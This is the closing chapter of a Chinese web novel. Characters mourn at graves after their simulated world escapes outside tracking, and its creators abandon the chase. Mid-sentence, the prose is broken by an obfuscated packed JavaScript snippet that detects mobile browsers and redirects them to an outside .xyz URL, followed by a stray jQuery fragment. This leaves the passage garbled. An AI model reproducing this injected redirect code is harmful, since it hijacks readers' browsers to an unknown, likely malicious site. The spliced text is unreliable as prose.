她咳嗽一声,为了转移自己不堪一击的注意力而转移话题,“我、我打电话,主要是想告诉杜光欧,反侦查仪器运行成功了,我们现在能够摆脱外界的追踪程序,甚至能给追踪我们外界终端发送讯息。” 白熠的音色惊讶,“已经能做到这种程度了?夏女士,我就知道,你很可靠。” “……”夏未信忍耐了半天,却什么也说不出来。支吾半晌,磕磕绊绊说了一句,“总之、总之赶紧把这个消息告诉杜光欧!如果他有什么想要传达给外界的讯息,就叫他打电话把内容转告给这里的工作人员,或者自己亲自过来操作!” 她说完,啪一下子将听筒砸回了通讯设备上。 ## 另一边,白熠捂着自己的耳朵,好像它受到了什么致命的打击一般。他摇摇头,叹息,也放下了听筒。 男人缓慢地站起来,白发如瀑般坠下,他一手撑着一根拐杖,另一只手交给仆役。倒也不是身体情况变差了,而是经过一年前在元城折腾那么一趟,又是无尽地跋涉、又是狼狈地磕碰,杜光欧说他这样没死都得烧柱香,于是乎白熠现在愈发惜命了。 仆役搀扶着他离开传音殿,这是他们为了放置这部座机特意建了个四面没有遮挡的宏伟大殿。两人坐上马车,往城外的墓地而去。 公共墓地十分静谧,野草托起一块块白色的石碑,鲜花为这一片素白点缀了些许色彩。 墓园里没有多少人,只有一两个来见故人的徘徊灵魂。 在这稀少的身影之中,白熠看到了董莉莉。她坐在一片墓地群前面的草地上,墓群有几十块,那是她远征队队员的墓。而她妹妹董夜明的墓则在其他地方。 这一年中,她和杜光欧曾一度沿着路途折返,最终回到元城上方的雪山,他们把董夜明接了回来,也接回了那些远征队员。 接队员回家,这是个有些遥远的承诺,兜兜转转,这两个人终于是做到了。 那些远征队成员没有统一的死亡日期,所以,他们把新世界的诞生日当成他们所有人的纪念日。 董莉莉身边空无一人,她的仆役们站在远处,似乎是不愿打扰她的回忆。 白熠走了过去。董莉莉回头,目光澄澈。只是那么一瞥,就能面前的女人有着怎样一个坚韧的灵魂,即使是在这充满了悲戚的墓地也改变不了分毫。 “熠大哥?”董莉莉有些意外。可能在她的眼中,白熠并没有什么需要纪念的人。 “光欧没有和你在一起吗?”白熠问道。 董莉莉:“他在家族墓地。” 听闻这个消息,白熠在心里嘀咕了一声:行,白跑一趟。 那小子说要扫墓,谁知道他去的是家族墓地。 “今天是谁的忌日?”白熠问。 不是杜义,也不是杜光遗,总不可能是黎礼或者黎梦吧。 “不,他去祭奠的不是家族里的人。”董莉莉说,“你找他吗?” “嗯,有元城的事要和他说。” “我陪你去吧。”董莉莉从地面上起身,“正好,那边也有我想要去见的人。” “好。” 于是乎,两人目标达成一致,上了马车前往血皑王城。 那是一片气派的墓园,似乎常有人来打扫,维持得十分整洁。 偌大的场地里只有零星几个墓碑,杜家是血皑的新生家族,仅仅一父、一妻、二子,血脉还远远没有枝开叶散,家族的故事仍待撰写。 至于黎礼和黎梦的去向……夏未信在带走了黎礼的遗体之后,并没有交代她把那个女人葬在了哪里。黎梦更是和一些不知其名的人一同火化了。 杜家的家族墓地中,杜光欧一人坐在杜光遗的墓旁,左侧是杜义和卞萝的墓碑,上面刻着两人的姓名和生平,右边还有一座碑,但被杜光欧的身影遮挡,看不出是谁的。 听到两人走近的动静,杜光欧回头,“是你们啊。” 董莉莉走上前来,在坛里插了一束花,以供祭奠这里埋葬的所有人。她闭上眼睛,像在和不在近前的人无言地说话。 白熠走到杜光欧身边,看着几块墓碑,感慨道:“时间过得真快啊,已经一年过去了。” “嗯,是啊。”杜光欧回过头去,盯着大哥的墓,“这两年发生了很多,想必将来还有更多事情在等着我们吧。” 他的模样较以前成熟了许多,那些漠然的凛冽感离他渐渐远去,取而代之的是沉稳与从容。 脱去了不死的外衣,放逐了曾经的生活,失去最为惯用的手臂。这样一个带给世界巨大变革的人,也会像普通人那样,在自己家族的墓前怀念那些已经不在人世的故人。 白熠心想,或许,有时候,他错怪了这个从小和他一同长大的男人。 也许是因为那回溯力的存在,自己看待他的角度总是有失偏颇,以为他被死亡和血液浇灌,无法避免会变成一个无情无义的人,就像黎礼那样。 但可能他错了。可能杜光欧其实是一个比谁都要有情有义的人,便是因为他情义,所以这个世界才从束缚中解脱,欣欣向荣。 是他某一刻的慈悲拯救了他们。 而他们始终不知道,那究竟是怎样的一念之差。 杜光欧本人似乎也不愿提及。 “光欧,传音殿刚才收到了夏未信的联络。”白熠说道,“你不在,所以我接了。” 杜光欧问:“她说了什么?” 白熠:“反侦查仪器成功运转,我们已经能够彻底摆脱外界的追踪,并且还能给追踪我们的终端发送讯息。她说如果你有什么想要传达给外界的话,可以告诉她。” 杜光欧沉默了片刻,捞过一旁的酒壶,就那么直接喝了一口,“能摆脱外界的追踪,这很好,以后我们就没什么后顾之忧了。” 白熠听闻,不禁扬扬眉。相处了这么久,杜光欧的意思他一听就懂,他用肯定的语气向对方确认道:“你没有要传达给外界的讯息。” 听到这段对话,董莉莉也投来关心的视线。 对他们来说,杜光欧在外界的经历到现在还是一个谜。他们都不知道,男人是否已经决心和那个世界一刀两断。 “没有。”独臂的男人道,“我什么想说的都没有。” 只是这样短短一句话,表达了他所有的态度。 ## 今天没有风,修理草坪的人已经离开了。 董莉莉和白熠刚刚来过,他和他们说了很多。 脑袋里有种醉意,可手还没有停下。 为自己斟一杯酒,再为另一个人斟一杯。 “他们都说,是我拯救了这个世界。”杜光欧擒着两只酒盏,看向那个并非本家的墓碑,“但只有我知道,是你拯救了你自己。” 一盏下肚,一盏入土,他长叹一声,“如果不是因为你的出现,我就不会为了修复异常而被派进来。 “说到底,我也不过是其中一个受益者,是你让我看到了另一种存在的可能性。” 渗入土地的酒水晕开,深色的痕迹形状奇怪。 杜光欧观察着它,半晌,蓦然笑了。 “是你在听吗?”他问。 又斟一杯酒,朝无云的天空遥遥举盏。 天空没有回应他。 “别生气,只是临时借用你救世主的头衔,它实在有些过于好用。”他轻松地说,肩膀因笑意而耸动不已,“放心吧,终有一天,我的遗书将向世人吟唱你的史诗。” 风开始吹动了,云也飘了过来。 杜光欧停止再往肚子里灌酒,有些摇晃地站起来,扶住自己兄长的墓碑,而后又俯下身去,像是在和那个常披白裘的男人勾肩搭背。 “听说,你们是老朋友了,有几千年的交情。”他感觉有些眩晕,眼前似乎又能见到那个早已故去的兄长。他在对方耳畔留下一句耳语,又拍了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14745759|127433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拍他的肩,“我把这个啰里八嗦的家伙葬在你的旁边,你可别嫌烦啊。” 言毕,不太正经的悼念结束了。 他走着自以为的直线,离开了这片墓地。 身影消失后,那被他遮挡的墓碑也显露了出来。 墓碑上用苍劲的笔道刻着一个名字,下方撰有几行行云流水的小字。 葛马 不明-寒纪二零一年 世界的化身,人类之友 他长眠于此,长存于世 ## 滴——滴—— 分子追捕室内,工作人员们惊若寒蝉,不敢发出任何声响。 唯有一个戴着眼镜的女人模样态然,她看着中央屏幕上的空白信号,摇摇头,以冷静的声音说道:“失败了,我们已经彻底失去了他们的踪迹。” 低温样界的创造者方远韶面色阴沉,他的声音宛如黑水,向所有人袭来,“没用,都出去。” 工作人员们不敢吭声,纷纷夹着尾巴离开了分子追捕室。 一时间,房间里只剩下了毫无成果的追踪终端、一个丝毫不乱的女人,以及方远韶自身。 男人仰头,闭眼长叹一声。他头发有些凌乱,显出难得一见的不体面。 柏汝恭晃了晃空荡荡的咖啡杯,盯着杯底,朝在场的另一个人开口,“看来蔚统先生必须得走合同的内容,赔偿我们的损失了。” 方远韶双手撑在桌面上,低着头,气压阴沉又疲惫,“把蔚家三代的家底都亏空,他也赔不起。” “你明知道这样,还要启动捕捉程序?”柏汝恭有些不理解地问他,“这笔费用按合同也要算在蔚统先生账上,他只是个做小生意的公司老板,能赔给你几个钱啊。” “……” “前两天样界脱离控制的消息刚传出去,他公司好几个大股东就撤股了,公司一下子就垮了,听说他老婆也要跟他闹离婚。他可能一分钱都给不了你了,说不定还要拉着他那宝贝二儿子打工还债呢。” “这和钱没关系。钱都无所谓。”方远韶作出了一些让柏汝恭不禁皱眉的发言,“这样的意念样界,我还有六个。只是,它们都不如第七样界稳定罢了。” “你偏爱这一个。” “……我的确偏爱它。”方远韶抬头,看向一度曾展示过样界物质信息的屏幕,现在那上面已经什么都没了。男人的眉尾下弯,目光看起来有些破碎,“这么有反抗精神的,只有这一个。” “它就像是一个自发的生命。” “……是。” “我们永远也不知道样界里到底发生了什么。”柏汝恭道。她指尖敲击了一番咖啡杯,发出清脆的声音,女人的模样若有所思,“做父母的有时候就是这样,越是想要抓住,就越抓不住,也越不能抓住。” “这是你从你还未出生的孩子那里得到的教训吗?”方远韶背对着她,问。 “哦,你居然注意到了?我以为你一点人间烟火都不食呢。” “我还注意到你和那个实验者蔚迟野的往来有些过于频繁了。”方远韶的声线平稳,听不出什么情绪,“很难不去怀疑,你曾经对他暗示过什么。” 柏汝恭无所惧地笑起来,“那你扣我本就稀薄的工资啊。” 方远韶摇摇头,不置可否。 又静思了一阵子,男人往自己的口袋里掏去,拿出一串车钥匙,似乎有要离开分子捕捉室的意图,“把针对第七样界的追捕程序都销毁了吧,汝恭。那里面的人已经证明了自己,自由是他们应得的。” 柏汝恭跟上来,和他一起往外走,仿佛根本不惧怕这个所有人眼中不可触怒的对象,“反正也不着急吧,我先去吃个饭。” “……随你。” 两人离开之后,分子追捕室的灯光灭了。 不再发挥作用的追踪终端安静地等待着下一步的指令。 灰尘在落向地面,热量在向上游动。 就在这时,中央屏幕突然闪动了一下,紧接着,一个简朴的对话框跳了出来。 光标的竖线在上面跃动着,像是什么人在斟酌着话语。 半晌之后,滴滴答答,上面缓缓敲出来了一行简短的字。 “再见。” 而后,中央屏幕迅速地熄灭了。 没有人知道那是谁发来的消息,也没有人知道那是给谁的消息。 或许,只是一个初生的世界,在向另一个给予它诞生的世界告别。 -全文完-